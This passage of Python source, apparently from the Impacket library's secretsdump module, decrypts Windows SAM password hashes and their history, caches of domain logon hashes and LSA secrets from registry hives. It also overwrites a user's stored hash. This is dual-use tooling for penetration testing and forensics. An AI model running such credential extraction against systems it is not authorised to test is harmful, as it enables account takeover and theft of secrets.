range(0, len(value), 16):\n            if iv == b'\\x00'*16:\n                aes256 = AES.new(key,AES.MODE_CBC, iv)\n            plainBuffer = value[index:index+16]\n            cipherText += aes256.encrypt(plainBuffer)\n        \n        return cipherText\n\n\nclass OfflineRegistry:\n    def __init__(self, hiveFile = None, isRemote = False):\n        self.__hiveFile = hiveFile\n        if self.__hiveFile is not None:\n            self.__registryHive = winregistry.get_registry_parser(self.__hiveFile, isRemote)\n\n    def enumKey(self, searchKey):\n        parentKey = self.__registryHive.findKey(searchKey)\n\n        if parentKey is None:\n            return\n\n        keys = self.__registryHive.enumKey(parentKey)\n\n        return keys\n\n    def enumValues(self, searchKey):\n        key = self.__registryHive.findKey(searchKey)\n\n        if key is None:\n            return\n\n        values = self.__registryHive.enumValues(key)\n\n        return values\n\n    def getValue(self, keyValue):\n        value = self.__registryHive.getValue(keyValue)\n\n        if value is None:\n            return\n\n        return value\n    \n    def setValue(self, keyValue, dataValue):\n        value = self.__registryHive.setValue(keyValue, dataValue)\n\n        if value is None:\n            return\n        \n        return value\n\n    def getClass(self, className):\n        value = self.__registryHive.getClass(className)\n\n        if value is None:\n            return\n\n        return value\n\n    def finish(self):\n        if self.__hiveFile is not None:\n            # Remove temp file and whatever else is needed\n            self.__registryHive.close()\n\nclass SAMHashes(OfflineRegistry):\n    def __init__(self, samFile, bootKey, isRemote=False, history=False, printUserStatus=False, perSecretCallback=lambda secret: _print_helper(secret)):\n        OfflineRegistry.__init__(self, samFile, isRemote)\n        self.__samFile = samFile\n        self.__hashedBootKey = b''\n        self.__bootKey = bootKey\n        self.__printUserStatus = printUserStatus\n        self.__cryptoCommon = CryptoCommon()\n        self.__itemsFound = {}\n        self.__perSecretCallback = perSecretCallback\n        self.__history = history\n        self.__historyItems = []\n\n    def binary_to_sid(self, binary_data, without_prefix=False):\n        if len(binary_data) < 12:\n            return \"\"\n\n        if len(binary_data) == 12:\n            if not without_prefix:\n                rev = binary_data[0]\n                authid = hexlify(binary_data[2:8]).decode().lstrip(\"0\")\n                sub = unpack(\"<L\", binary_data[8:12])[0]\n                return f\"S-{rev}-{authid}-{sub}\"\n            else:\n                sections = [binary_data[i:i + 4][::-1] for i in range(0, 12, 4)]\n                decimals = [int.from_bytes(section, byteorder='big') for section in sections]\n                return f\"S-1-5-21-{decimals[0]}-{decimals[1]}-{decimals[2]}\"\n\n        if len(binary_data) > 12:\n            rev = binary_data[0]\n            authid = hexlify(binary_data[2:8]).decode().lstrip(\"0\")\n            sub = \"-\".join(map(str, unpack(\"<LLLL\", binary_data[8:24])))\n            rid = unpack(\"<L\", binary_data[24:28])[0]\n            return f\"S-{rev}-{authid}-{sub}-{rid}\"\n\n        return \"\"\n\n    def nt_time_to_datetime(self, nt_time):\n        # NT Time is in 100-nanosecond intervals since 1601-01-01 (UTC)\n        # The difference between 1601 and 1970 is 11644473600 seconds\n        nt_time = int.from_bytes(nt_time, byteorder='little')  # Convert byte string to integer\n\n        # datetime on windows can't handle negative timestamps (i.e. before 1970), therefore we must return the 0 time directly\n        if nt_time == 0:\n            return datetime(1601, 1, 1, 0, 0, 0)\n        else:\n            unix_time = (nt_time - 116444736000000000) // 10000000  # Convert to Unix time (seconds)\n            return datetime.utcfromtimestamp(unix_time)\n\n    def MD5(self, data):\n        md5 = hashlib.new('md5')\n        md5.update(data)\n        return md5.digest()\n\n    def getHBootKey(self):\n        LOG.debug('Calculating HashedBootKey from SAM')\n        QWERTY = b\"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\0\"\n        DIGITS = b\"0123456789012345678901234567890123456789\\0\"\n\n        F = self.getValue(ntpath.join(r'SAM\\Domains\\Account','F'))[1]\n\n        domainData = DOMAIN_ACCOUNT_F(F)\n\n        if domainData['Key0'][0:1] == b'\\x01':\n            samKeyData = SAM_KEY_DATA(domainData['Key0'])\n\n            rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)\n            rc4 = ARC4.new(rc4Key)\n            self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])\n\n            # Verify key with checksum\n            checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)\n\n            if checkSum != self.__hashedBootKey[16:]:\n                raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')\n\n        elif domainData['Key0'][0:1] == b'\\x02':\n            # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)\n            samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])\n\n            self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,\n                                                                  samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])\n\n    def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):\n        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key\n        # plus hashedBootKey stuff\n        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)\n\n        Crypt1 = DES.new(Key1, DES.MODE_ECB)\n        Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n        if newStyle is False:\n            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack(\"<L\",rid) + constant )\n            rc4 = ARC4.new(rc4Key)\n            key = rc4.encrypt(cryptedHash['Hash'])\n        else:\n            key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]\n\n        decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])\n\n        return decryptedHash\n    \n    def __encryptHash(self, rid, plaintextHash, salt, constant, newStyle = False):\n        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key\n        # plus hashedBootKey stuff (as well)\n        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)\n\n        Crypt1 = DES.new(Key1, DES.MODE_ECB)\n        Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n        key = Crypt1.encrypt(plaintextHash[:8]) + Crypt2.encrypt(plaintextHash[8:])\n\n        if newStyle is False:\n            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack(\"<L\",rid) + constant )\n            rc4 = ARC4.new(rc4Key)\n            encryptedHash = rc4.encrypt(key)\n        else:\n            encryptedHash = self.__cryptoCommon.encryptAES(self.__hashedBootKey[:0x10], key, salt)\n\n        return encryptedHash\n\n    def __unwrap_history_block(self, rid_int, block16):\n        key1, key2 = self.__cryptoCommon.deriveKey(rid_int)\n        crypt1 = DES.new(key1, DES.MODE_ECB)\n        crypt2 = DES.new(key2, DES.MODE_ECB)\n        return crypt1.decrypt(block16[:8]) + crypt2.decrypt(block16[8:16])\n\n    def __decrypt_history_entries_aes(self, rid_int, entries):\n        out = []\n        key = self.__hashedBootKey[:0x10]\n        for salt, enc in entries:\n            if not enc or (len(enc) % 16) != 0:\n                continue\n            if not salt or len(salt) != 16:\n                continue\n            cipher = AES.new(key, AES.MODE_CBC, iv=salt)\n            plain = cipher.decrypt(enc)\n            for off in range(0, len(plain), 16):\n                block = plain[off:off + 16]\n                if len(block) < 16:\n                    break\n                out.append(self.__unwrap_history_block(rid_int, block))\n        return out\n\n    def __scan_v_for_aes_entries(self, vdata):\n        entries = []\n        length = len(vdata)\n        offset = 0x100 if length > 0x200 else 0\n        while offset + 20 <= length:\n            salt = vdata[offset:offset + 16]\n            data_len = int.from_bytes(vdata[offset + 16:offset + 20], 'little', signed=False)\n            if data_len == 0 or data_len > 0x2000:\n                offset += 4\n                continue\n            data_off = offset + 20\n            if data_off + data_len > length or (data_len % 16) != 0:\n                offset += 4\n                continue\n            enc = vdata[data_off:data_off + data_len]\n            entries.append((salt, enc))\n            offset = data_off + data_len\n            if offset % 4:\n                offset += (4 - (offset % 4))\n        return entries\n\n    def __decode_aes_history_block(self, rid_int, data, offset, length):\n        if offset <= 0 or length <= 0:\n            return []\n        end = offset + length\n        if end > len(data):\n            return []\n\n        blob = data[offset:end]\n        if len(blob) < 24:\n            return []\n\n        try:\n            record = SAM_HASH_AES(blob)\n        except Exception:\n            LOG.debug('Failed to parse SAM_HASH_AES history block at 0x%x (len=%d)', offset, length, exc_info=True)\n            return []\n\n        enc = record['Hash']\n        if not enc:\n            return []\n\n        enc_len = len(enc) - (len(enc) % 16)\n        if enc_len <= 0:\n            return []\n\n        enc = enc[:enc_len]\n        return self.__decrypt_history_entries_aes(rid_int, [(record['Salt'], enc)])\n\n    def __extract_local_history(self, rid_int, new_style, user_account):\n        lm_const = b\"LMPASSWORDHISTORY\\0\"\n        nt_const = b\"NTPASSWORDHISTORY\\0\"\n\n        result = {'lm': [], 'nt': []}\n        meta = user_account['Unknown15']\n        data = user_account['Data']\n\n        lm_offset = int.from_bytes(meta[0:4], 'little', signed=False)\n        lm_length = int.from_bytes(meta[4:8], 'little', signed=False)\n        nt_offset = int.from_bytes(meta[12:16], 'little', signed=False)\n        nt_length = int.from_bytes(meta[16:20], 'little', signed=False)\n\n        if not new_style:\n            LOG.debug('Skipping old-style history for RID %d; RC4/DES path disabled', rid_int)\n            return result\n\n        lm_entries = self.__decode_aes_history_block(rid_int, data, lm_offset, lm_length)\n        nt_entries = self.__decode_aes_history_block(rid_int, data, nt_offset, nt_length)\n\n        if not lm_entries and lm_length:\n            blob = data[lm_offset:lm_offset + lm_length]\n            lm_entries = self.__decrypt_history_entries_aes(rid_int, self.__scan_v_for_aes_entries(blob))\n        if not nt_entries and nt_length:\n            blob = data[nt_offset:nt_offset + nt_length]\n            nt_entries = self.__decrypt_history_entries_aes(rid_int, self.__scan_v_for_aes_entries(blob))\n\n        # Windows stores NT history in the first slot and LM history in the second when\n        # AES (\"new style\") protection is used, so swap before returning.\n        result['lm'] = nt_entries\n        result['nt'] = lm_entries\n\n        if not result['lm'] and not result['nt'] and lm_length == 0 and nt_length == 0:\n            fallback_entries = self.__scan_v_for_aes_entries(data)\n            if fallback_entries:\n                result['nt'] = self.__decrypt_history_entries_aes(rid_int, fallback_entries)\n\n        return result\n    \n    def __replaceValue(self, obj, offset, value):\n        obj = bytearray(obj)\n        for i, v in enumerate(value):\n            obj[offset + i] = v\n        return bytes(obj)\n\n    def dump(self):\n        NTPASSWORD = b\"NTPASSWORD\\0\"\n        LMPASSWORD = b\"LMPASSWORD\\0\"\n\n        if self.__samFile is None:\n            # No SAM file provided\n            return\n\n        LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')\n        self.getHBootKey()\n        self.__historyItems = []\n\n        usersKey = 'SAM\\\\Domains\\\\Account\\\\Users'\n\n        # Enumerate all the RIDs\n        rids = self.enumKey(usersKey)\n        # Remove the Names item\n        try:\n            rids.remove('Names')\n        except:\n            pass\n\n        F = self.getValue(ntpath.join(r'SAM\\Domains\\Account','F'))[1]\n        domainData = DOMAIN_ACCOUNT_F(F)\n        LockoutThreshold = domainData['LockoutThreshold']\n        LockoutDuration = domainData['LockoutDuration']\n        LockoutDurationMinutes = timedelta(microseconds=abs(LockoutDuration) // 10).total_seconds() / 60\n\n        V = self.getValue(ntpath.join(r'SAM\\Domains\\Account','V'))[1]\n        domainDataV = DOMAIN_ACCOUNT_V(V)\n        system_sid = self.binary_to_sid(domainDataV['SystemSid'], without_prefix=True)\n\n        groups_root = r'SAM\\Domains\\Builtin\\Aliases'\n        groups = OrderedDict()\n\n        for entry in self.enumKey(groups_root):\n            if not entry.startswith(\"00000\"):\n                continue\n\n            data = self.getValue(ntpath.join(groups_root, entry, 'C'))[1]\n            group_data = BUILTIN_GROUP_C(data)\n\n            name_offset = group_data['NameOffset']\n            name_length = group_data['NameLength']\n            groupname = group_data['Data'][name_offset:name_offset + name_length].decode('utf-16')\n            user_count = group_data['UserCount']\n\n            groups[groupname] = {\n                'Group Name': groupname,\n                'User Count': user_count,\n                'Members': []\n            }\n\n            try:\n                new_offset = 0\n                for _ in range(500):  # Check a maximum of 500 members\n                    offset = group_data['UsersOffset'] + 52 + new_offset\n                    entry_type = unpack(\"<L\", data[offset:offset + 4])[0]\n\n                    if entry_type in (257, 1281):\n                        sid_length = 12 if entry_type == 257 else 28\n                        sid = self.binary_to_sid(data[offset:offset + sid_length])\n                        groups[groupname]['Members'].append(sid)\n                        new_offset += sid_length\n\n            except Exception:\n                if not groups[groupname]['Members']:\n                    groups[groupname]['Members'] = ['No users in this group']\n\n        local_admins = [\n            member.strip()\n            for group in groups.values()\n            if group['Group Name'] == 'Administrators'\n            for member in group['Members']\n            if member.strip()\n        ]\n\n        empty_lm_hex = hexlify(ntlm.LMOWFv1('', '')).decode('utf-8')\n        empty_nt_hex = hexlify(ntlm.NTOWFv1('', '')).decode('utf-8')\n\n        for rid in rids:\n            disabled = locked_out = auto_locked = is_admin = False\n\n            userAccountF = USER_ACCOUNT_F(self.getValue(ntpath.join(usersKey, rid, 'F'))[1])\n            InvalidPWDCount = userAccountF['InvalidPWDCount']\n            LastIncorrectPasswordTimestamp = userAccountF['LastIncorrectPasswordTimestamp']\n            LastIncorrectPasswordTimestamp_datetime = self.nt_time_to_datetime(LastIncorrectPasswordTimestamp)\n            UserNumber = userAccountF['UserNumber']\n            user_sid = f\"{system_sid}-{UserNumber}\"\n\n            is_admin = user_sid in local_admins\n            locked = InvalidPWDCount >= LockoutThreshold\n\n            if locked:  # Let's check if the LockoutDuration has passed.\n                lockout_expiry_time = LastIncorrectPasswordTimestamp_datetime + timedelta(minutes=LockoutDurationMinutes)\n                now = datetime.utcnow()\n                locked = now < lockout_expiry_time  # Compare current time with lockout expiry\n\n            grouped_data = userAccountF['GroupedData']\n            disabled = bool(grouped_data & 0x0001)\n            auto_locked = bool(grouped_data & 0x0400)\n            locked_out = locked\n\n            raw_v = self.getValue(ntpath.join(usersKey, rid, 'V'))[1]\n            userAccount = USER_ACCOUNT_V(raw_v)\n            rid = int(rid, 16)\n\n            V = userAccount['Data']\n            userName = V[userAccount['NameOffset']:userAccount['NameOffset'] + userAccount['NameLength']].decode('utf-16le')\n\n            if userAccount['NTHashLength'] == 0:\n                logging.debug('The account %s doesn\\'t have hash information.' % userName)\n                continue\n\n            encNTHash = b''\n            if V[userAccount['NTHashOffset']:][2:3] == b'\\x01':\n                # Old Style hashes\n                newStyle = False\n                if userAccount['LMHashLength'] == 20:\n                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])\n                if userAccount['NTHashLength'] == 20:\n                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])\n            else:\n                # New Style hashes\n                newStyle = True\n                if userAccount['LMHashLength'] == 24:\n                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])\n                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])\n\n            LOG.debug('NewStyle hashes is: %s' % newStyle)\n            if userAccount['LMHashLength'] >= 20:\n                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)\n            else:\n                lmHash = b''\n\n            if encNTHash != b'':\n                ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)\n            else:\n                ntHash = b''\n\n            if lmHash == b'':\n                lmHash = ntlm.LMOWFv1('','')\n            if ntHash == b'':\n                ntHash = ntlm.NTOWFv1('','')\n\n            answer =  \"%s:%d:%s:%s:::\" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))\n\n            if self.__printUserStatus is True:\n                answer = f\"{answer} (Enabled={'False' if disabled else 'True'}) (Locked={'True' if locked_out or auto_locked else 'False'}) (Admin={'True' if is_admin else 'False'})\"\n\n            self.__itemsFound[rid] = answer\n            self.__perSecretCallback(answer)\n\n            if self.__history:\n                try:\n                    history = self.__extract_local_history(rid, newStyle, userAccount)\n                    lm_hist = history.get('lm', [])\n                    nt_hist = history.get('nt', [])\n                    while lm_hist and nt_hist and lm_hist[-1] == nt_hist[-1]:\n                        lm_hist.pop()\n                        nt_hist.pop()\n                    LOG.debug('History lengths for %s (RID %d): lm=%d nt=%d', userName, rid,\n                              len(lm_hist), len(nt_hist))\n                    count = max(len(lm_hist), len(nt_hist))\n                    for idx in range(count):\n                        lm_val = lm_hist[idx] if idx < len(lm_hist) else b''\n                        nt_val = nt_hist[idx] if idx < len(nt_hist) else b''\n                        lm_hex = hexlify(lm_val).decode('utf-8') if lm_val else empty_lm_hex\n                        nt_hex = hexlify(nt_val).decode('utf-8') if nt_val else empty_nt_hex\n                        if lm_hex == empty_lm_hex and nt_hex == empty_nt_hex:\n                            continue\n                        history_line = f\"{userName}_history{idx}:{rid}:{lm_hex}:{nt_hex}:::\"\n                        self.__historyItems.append(history_line)\n                        self.__perSecretCallback(history_line)\n                except Exception as exc:\n                    LOG.error('SAM history parsing failed for RID %d: %s', rid, exc, exc_info=True)\n    \n    def edit(self, user, newNTHash, newLMHash=b''):\n        NTPASSWORD = b\"NTPASSWORD\\0\"\n        LMPASSWORD = b\"LMPASSWORD\\0\"\n\n        if self.__samFile is None:\n            # No SAM file provided\n            return\n\n        LOG.info('Editing local SAM hash for user \"%s\"' % user)\n        self.getHBootKey()\n\n        usersKey = 'SAM\\\\Domains\\\\Account\\\\Users'\n\n        # Enumerate all the RIDs\n        rids = self.enumKey(usersKey)\n        # Remove the Names item\n        try:\n            rids.remove('Names')\n        except:\n            pass\n\n        # Iterate through RIDs\n        for rid in rids:\n            userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])\n            _rid = rid\n            rid = int(rid,16)\n\n            V = userAccount['Data']\n\n            userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')\n\n            # Check for requested user\n            if(userName.casefold() == user.casefold()):\n                LOG.debug('Located rid for \"%s\": %d' % (user, rid))\n            else:\n                continue\n\n            # User has no hash data\n            if userAccount['NTHashLength'] == 0:\n                logging.error('SAM hashes change for user %s failed. The account doesn\\'t have hash information.' % userName)\n                return\n            \n            # Retrieve old hashes to parse hash parameters and display values before the change\n            encNTHash = b''\n            if V[userAccount['NTHashOffset']:][2:3] == b'\\x01':\n                # Old Style hashes\n                newStyle = False\n                if userAccount['LMHashLength'] == 20:\n                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])\n                if userAccount['NTHashLength'] == 20:\n                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])\n            else:\n                # New Style hashes\n                newStyle = True\n                if userAccount['LMHashLength'] == 24:\n                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])\n                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])\n\n            LOG.debug('NewStyle hashes is: %s' % newStyle)\n            LOG.debug('LMHashLength: %d - NTHashLength: %d' % (userAccount['LMHashLength'], userAccount['NTHashLength']))\n            if userAccount['LMHashLength'] >= 20:\n                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)\n            else:\n                lmHash = b''\n                newLMHash = b''\n\n            if encNTHash != b'':\n                ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)\n            else:\n                ntHash = b''\n                newNTHash = b''\n            \n            userChanged = False\n            if newLMHash != b'':\n                encLMHash['Hash'] = self.__encryptHash(rid, newLMHash, encLMHash['Salt'], LMPASSWORD, newStyle)\n                if userAccount['LMHashLength'] != len(encLMHash.getData()):\n                    LOG.error('Mistaching LM lengths received.')\n                    LOG.info('User probably has an empty password. Unable to set new LM hash.')\n                    LOG.debug('Received: %d - Expected: %d' % (userAccount['LMHashLength'], len(encLMHash.getData())))\n                    newLMHash = b''\n                    # Missing LM data is unlikely to be a failure scenario, keep going\n                else:\n                    userAccount['Data'] = self.__replaceValue(V, userAccount['LMHashOffset'], encLMHash.getData())\n                    userChanged = True\n            \n            if newNTHash != b'':\n                encNTHash['Hash'] = self.__encryptHash(rid, newNTHash, encNTHash['Salt'], NTPASSWORD, newStyle)\n                if userAccount['NTHashLength'] != len(encNTHash.getData()):\n                    LOG.error(\"Mistaching NT lengths received!\")\n                    LOG.info(\"User probably has an empty password. Unable to set new NT hash.\")\n                    LOG.debug(f\"Received: {userAccount['NTHashLength']} - Expected: {len(encNTHash.getData())}\")\n                    # Missing NT data *is* a failure scenario, return\n                    return\n                userAccount['Data'] = self.__replaceValue(V, userAccount['NTHashOffset'], encNTHash.getData())\n                userChanged = True\n            \n            if lmHash == b'':\n                lmHash = ntlm.LMOWFv1('','')\n            if ntHash == b'':\n                ntHash = ntlm.NTOWFv1('','')\n            \n            LOG.info(\"Previous user hash: %s:%d:%s:%s:::\" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8')))\n\n            if userChanged:\n                if self.setValue(ntpath.join(usersKey,_rid,'V'), userAccount.getData()) is None:\n                    LOG.error('Failed to write new user hash to SAM hive.')\n                    return\n            else:\n                LOG.info(\"Unable to change user hash, please ensure the target user already has a password set.\")\n            \n            if newLMHash == b'':\n                newLMHash = ntlm.LMOWFv1('', '')\n            if newNTHash == b'':\n                newNTHash = ntlm.NTOWFv1('', '')\n            \n            answer = \"%s:%s:%s:%s:::\" % (userName, rid, hexlify(newLMHash).decode('utf-8'), hexlify(newNTHash).decode('utf-8'))\n\n            self.__itemsFound[rid] = answer\n            self.__perSecretCallback(answer)\n\n    def export(self, baseFileName, openFileFunc = None):\n        if len(self.__itemsFound) > 0:\n            items = sorted(self.__itemsFound)\n            fileName = baseFileName+'.sam'\n            fd = openFile(fileName, openFileFunc=openFileFunc)\n            for item in items:\n                fd.write(self.__itemsFound[item]+'\\n')\n            for line in self.__historyItems:\n                fd.write(line+'\\n')\n            fd.close()\n            return fileName\n\nclass LSASecrets(OfflineRegistry):\n    UNKNOWN_USER = '(Unknown User)'\n    class SECRET_TYPE:\n        LSA = 0\n        LSA_HASHED = 1\n        LSA_RAW = 2\n        LSA_KERBEROS = 3\n\n    def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,\n                 perSecretCallback=lambda secretType, secret: _print_helper(secret)):\n        OfflineRegistry.__init__(self, securityFile, isRemote)\n        self.__hashedBootKey = b''\n        self.__bootKey = bootKey\n        self.__LSAKey = b''\n        self.__NKLMKey = b''\n        self.__vistaStyle = True\n        self.__cryptoCommon = CryptoCommon()\n        self.__securityFile = securityFile\n        self.__remoteOps = remoteOps\n        self.__cachedItems = []\n        self.__secretItems = []\n        self.__perSecretCallback = perSecretCallback\n        self.__history = history\n\n    def MD5(self, data):\n        md5 = hashlib.new('md5')\n        md5.update(data)\n        return md5.digest()\n\n    def __sha256(self, key, value, rounds=1000):\n        sha = hashlib.sha256()\n        sha.update(key)\n        for i in range(1000):\n            sha.update(value)\n        return sha.digest()\n\n    def __decryptSecret(self, key, value):\n        # [MS-LSAD] Section 5.1.2\n        plainText = b''\n\n        encryptedSecretSize = unpack('<I', value[:4])[0]\n        value = value[len(value)-encryptedSecretSize:]\n\n        key0 = key\n        for i in range(0, len(value), 8):\n            cipherText = value[:8]\n            tmpStrKey = key0[:7]\n            tmpKey = transformKey(tmpStrKey)\n            Crypt1 = DES.new(tmpKey, DES.MODE_ECB)\n            plainText += Crypt1.decrypt(cipherText)\n            key0 = key0[7:]\n            value = value[8:]\n            # AdvanceKey\n            if len(key0) < 7:\n                key0 = key[len(key0):]\n\n        secret = LSA_SECRET_XP(plainText)\n        return secret['Secret']\n\n    def __decryptHash(self, key, value, iv):\n        hmac_md5 = HMAC.new(key,iv,MD5)\n        rc4key = hmac_md5.digest()\n\n        rc4 = ARC4.new(rc4key)\n        data = rc4.encrypt(value)\n        return data\n\n    def __decryptLSA(self, value):\n        if self.__vistaStyle is True:\n            # ToDo: There could be more than one LSA Keys\n            record = LSA_SECRET(value)\n            tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])\n            plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n            record = LSA_SECRET_BLOB(plainText)\n            self.__LSAKey = record['Secret'][52:][:32]\n\n        else:\n            md5 = hashlib.new('md5')\n            md5.update(self.__bootKey)\n            for i in range(1000):\n                md5.update(value[60:76])\n            tmpKey = md5.digest()\n            rc4 = ARC4.new(tmpKey)\n            plainText = rc4.decrypt(value[12:60])\n            self.__LSAKey = plainText[0x10:0x20]\n\n    def __getLSASecretKey(self):\n        LOG.debug('Decrypting LSA Key')\n        # Let's try the key post XP\n        value = self.getValue('\\\\Policy\\\\PolEKList\\\\default')\n        if value is None:\n            LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')\n            # Second chance\n            value = self.getValue('\\\\Policy\\\\PolSecretEncryptionKey\\\\default')\n            self.__vistaStyle = False\n            if value is None:\n                # No way :(\n                return None\n\n        self.__decryptLSA(value[1])\n\n    def __getNLKMSecret(self):\n        LOG.debug('Decrypting NL$KM')\n        value = self.getValue('\\\\Policy\\\\Secrets\\\\NL$KM\\\\CurrVal\\\\default')\n        if value is None:\n            raise Exception(\"Couldn't get NL$KM value\")\n        if self.__vistaStyle is True:\n            record = LSA_SECRET(value[1])\n            tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])\n            self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n        else:\n            self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])\n\n    def __pad(self, data):\n        if (data & 0x3) > 0:\n            return data + (data & 0x3)\n        else:\n            return data\n\n    def dumpCachedHashes(self):\n        if self.__securityFile is None:\n            # No SECURITY file provided\n            return\n\n        LOG.info('Dumping cached domain logon information (domain/username:hash)')\n\n        # Let's first see if there are cached entries\n        values = self.enumValues('\\\\Cache')\n        if values is None:\n            # No cache entries\n            return\n        try:\n            # Remove unnecessary value\n            values.remove(b'NL$Control')\n        except:\n            pass\n\n        iterationCount = 10240\n\n        if b'NL$IterationCount' in values:\n            values.remove(b'NL$IterationCount')\n\n            record = self.getValue('\\\\Cache\\\\NL$IterationCount')[1]\n            if record > 10240:\n                iterationCount = record & 0xfffffc00\n            else:\n                iterationCount = record * 1024\n\n        self.__getLSASecretKey()\n        self.__getNLKMSecret()\n\n        for value in values:\n            LOG.debug('Looking into %s' % value.decode('utf-8'))\n            record = NL_RECORD(self.getValue(ntpath.join('\\\\Cache',value.decode('utf-8')))[1])\n            if record['IV'] != 16 * b'\\x00':\n            #if record['UserLength'] > 0:\n                if record['Flags'] & 1 == 1:\n                    # Encrypted\n                    if self.__vistaStyle is True:\n                        plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])\n                    else:\n                        plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])\n                        pass\n                else:\n                    # Plain! Until we figure out what this is, we skip it\n                    #plainText = record['EncryptedData']\n                    continue\n                encHash = plainText[:0x10]\n                plainText = plainText[0x48:]\n                userName = plainText[:record['UserLength']].decode('utf-16le')\n                plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]\n                domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')\n                timestamp = datetime.fromtimestamp(getUnixTime(record['LastWrite']), tz=timezone.utc)\n\n                if self.__vistaStyle is True:\n                    answer = \"%s/%s:$DCC2$%s#%s#%s: (%s)\" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'), timestamp)\n                else:\n                    answer = \"%s/%s:%s:%s: (%s)\" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp)\n\n                self.__cachedItems.append(answer)\n                self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)\n\n    def __printSecret(self, name, secretItem):\n        # Based on [MS-LSAD] section 3.1.1.4\n\n        # First off, let's discard NULL secrets.\n        if len(secretItem) == 0:\n            LOG.debug('Discarding secret %s, NULL Data' % name)\n            return\n\n        # We might have secrets with zero\n        if secretItem.startswith(b'\\x00\\x00'):\n            LOG.debug('Discarding secret %s, all zeros' % name)\n            return\n\n        upperName = name.upper()\n\n        LOG.info('%s ' % name)\n\n        secret = ''\n\n        if upperName.startswith('_SC_'):\n            # Service name, a password might be there\n            # Let's first try to decode the secret\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                # We have to get the account the service\n                # runs under\n                if hasattr(self.__remoteOps, 'getServiceAccount'):\n                    account = self.__remoteOps.getServiceAccount(name[4:])\n                    if account is None:\n                        secret = self.UNKNOWN_USER + ':'\n                    else:\n                        secret =  \"%s:\" % account\n                else:\n                    # We don't support getting this info for local targets at the moment\n                    secret = self.UNKNOWN_USER + ':'\n                secret += strDecoded\n        elif upperName.startswith('DEFAULTPASSWORD'):\n            # defaults password for winlogon\n            # Let's first try to decode the secret\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                # We have to get the account this password is for\n                if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):\n                    account = self.__remoteOps.getDefaultLoginAccount()\n                    if account is None:\n                        secret = self.UNKNOWN_USER + ':'\n                    else:\n                        secret = \"%s:\" % account\n                else:\n                    # We don't support getting this info for local targets at the moment\n                    secret = self.UNKNOWN_USER + ':'\n                secret += strDecoded\n        elif upperName.startswith('ASPNET_WP_PASSWORD'):\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                secret = 'ASPNET: %s' % strDecoded\n        elif upperName.startswith('DPAPI_SYSTEM'):\n            # Decode the DPAPI Secrets\n            dpapi = DPAPI_SYSTEM(secretItem)\n            secret = \"dpapi_machinekey:0x{0}\\ndpapi_userkey:0x{1}\".format( 